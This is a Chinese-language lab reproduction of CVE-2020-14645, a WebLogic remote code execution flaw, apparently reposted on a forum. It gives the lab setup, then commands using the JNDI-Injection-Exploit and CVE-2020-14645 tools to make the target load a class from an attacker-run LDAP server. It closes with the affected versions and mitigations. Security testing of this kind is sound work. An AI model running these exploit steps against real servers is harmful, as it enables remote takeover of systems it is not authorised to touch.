搜索

[27348] 2020-07-24_CVE-2020-14645Weblogic远程代码执行漏洞复现

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-07-24_CVE-2020-14645Weblogic远程代码执行漏洞复现 C V E - 2 0 2 0 - 1 4 6 4 5   |   W e b l o g i c 远 程 代 码 执 行 漏 洞 复 现 原 创   n e a r s e c   N e a r S e c   2 0 2 0 - 0 7 - 2 4 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 吧 关 注 我 们 吧 0 x 0 1   漏 洞 简 述 漏 洞 简 述 W e b L o g i c 是 美 国 O r a c l e 公 司 出 品 的 一 个 a p p l i c a t i o n   s e r v e r ， 是 一 个 基 于 J A V A E E 架 构 的 中 间 件 ， W e b L o g i c 是 用 于 开 发 、 集 成 、 部 署 和 管 理 大 型 分 布 式 W e b 应 用 、 网 络 应 用 和 数 据 库 应 用 的 J a v a 应 用 服 务 器 。 O r a c l e   W e b L o g i c   S e r v e r 存 在 远 程 代 码 执 行 漏 洞 。 攻 击 者 可 利 用 漏 洞 实 现 远 程 代 码 执 行 。 0 x 0 2   环 境 搭 建 环 境 搭 建 W e b L o g i c   1 2 . 2 . 1 . 4 官 方 下 载 链 接 : 下 载 J D K   6 u 2 1 1 / 7 u 2 0 1 / 8 u 1 9 1 任 意 版 本 并 配 置 环 境 变 量 用 管 理 员 权 限 打 开 C M D 命 令 h t t p s : / / d o w n l o a d . o r a c l e . c o m / o t n / n t / m i d d l e w a r e / 1 2 c / 1 2 2 1 4 0 / f m w _ 1 2 . 2 . 1 . 4 . 0 _ w l s _ l i t e _ D i s k 1 _ 1 o f 1 . z i p J D K 8 u 1 9 1 下 载 地 址 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 c C t S o l w s Z C m L 7 x N 6 o r T j T w 提 取 码 ： n m i 1 j a v a   - j a r   f m w _ 1 2 . 2 . 1 . 4 . 0 _ w l s _ l i t e _ g e n e r i c . j a r
疯 狂 点 击 下 一 步 进 行 安 装 ， 并 勾 选 自 助 启 动 配 置 向 导 选 项
进 入 配 置 向 导 ， 创 建 新 域 并 勾 选 全 部 模 板 ， 直 至 安 装 完 成

安 装 成 功 后 ， 跳 到 b a s e _ d o m a i n 目 录 下 运 行 s t a r t W e b L o g i c . c m d C : O r a c l e M i d d l e w a r e O r a c l e _ H o m e u s e r _ p r o j e c t s d o m a i n s b a s e _ d o m a i n
可 访 问 7 0 0 1 端 口 ， 说 明 环 境 部 署 成 功 0 x 0 3   漏 洞 复 现 漏 洞 复 现 J N D I 工 具 下 载 地 址 h t t p s : / / g i t h u b . c o m / w e l k 1 n / J N D I - I n j e c t i o n - E x p l o i t 使 用 J N D I 工 具 搭 建 L D A P 和 H T T P 服 务 ， 注 意 不 能 占 用 8 1 8 0 / 1 0 9 9 / 1 3 8 9 三 个 端 口 ， 修 改 要 执 行 的 命 令 后 回 车 ， 会 同 时 启 动 L D A P / R M I / H T T P 三 种 服 务 ， 并 且 自 动 编 译 好 带 命 令 的 c l a s s 文 件 使 用 C V E - 2 0 2 0 - 1 4 6 4 5 漏 洞 验 证 工 具 h t t p s : / / g i t h u b . c o m / D S O - L a b / W e b l o g i c _ C V E - 2 0 2 0 - 1 4 6 4 5 j a v a   - j a r   J N D I - I n j e c t i o n - E x p l o i t - 1 . 0 - S N A P S H O T - a l l . j a r   - C   [ c o m m a n d ]   - A   [ a d d r e s s ] j a v a   - j a r   C V E - 2 0 2 0 - 1 4 6 4 5 . j a r   L D A P _ I P : L D A P _ P O R T / # E x p l o i t   h t t p : / / 1 9 2 . 1 6 8 . 3 3 . 2 5 0 : 7 0 0 1
输 入 命 令 请 求 L D A P 服 务 ， 执 行 自 动 编 译 的 c l a s s 文 件 ， 成 功 弹 出 计 算 器 0 x 0 4   影 响 范 围 影 响 范 围 O r a c l e   W e b L o g i c   S e r v e r   1 0 . 3 . 6 . 0 . 0 O r a c l e   W e b L o g i c   S e r v e r   1 2 . 1 . 3 . 0 . 0 O r a c l e   W e b L o g i c   S e r v e r   1 2 . 2 . 1 . 3 . 0 O r a c l e   W e b L o g i c   S e r v e r   1 2 . 2 . 1 . 4 . 0 O r a c l e   W e b L o g i c   S e r v e r   1 4 . 1 . 1 . 0 . 0 0 x 0 5   修 复 方 案 修 复 方 案 1 .   O r a c l e 官 方 已 经 发 布 了 安 全 公 告 及 相 关 补 丁 信 息 ， 修 复 了 此 漏 洞 ， 建 议 受 影 响 用 户 尽 快 升 级 到 安 全 版 本 。 2 .   漏 洞 产 生 于 W e b L o g i c 默 认 启 用 的 T 3 协 议 ， 可 限 制 T 3 访 问 来 源 阻 止 攻 击 。 3 .   禁 用 I I O P 协 议 。 参 考 链 接 ： h t t p s : / / w w w . o r a c l e . c o m / s e c u r i t y - a l e r t s / c p u j u l 2 0 2 0 . h t m l h t t p s : / / g i t h u b . c o m / D S O - L a b / W e b l o g i c _ C V E - 2 0 2 0 - 1 4 6 4 5 h t t p s : / / g i t h u b . c o m / w e l k 1 n / J N D I - I n j e c t i o n - E x p l o i t h t t p s : / / d o c s . o r a c l e . c o m / m i d d l e w a r e / 1 2 1 3 / w l s / W L A C H / t a s k h e l p / c h a n n e l s / E n a b l e A n d C o n f i g u r e I I O P . h t m l
扫 码 关 注 最 新 分 享 搜 索 公 众 号 ： n e a r s e c 你 点 的 每 个 赞 ， 我 都 认 真 当 成 了 喜 欢
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理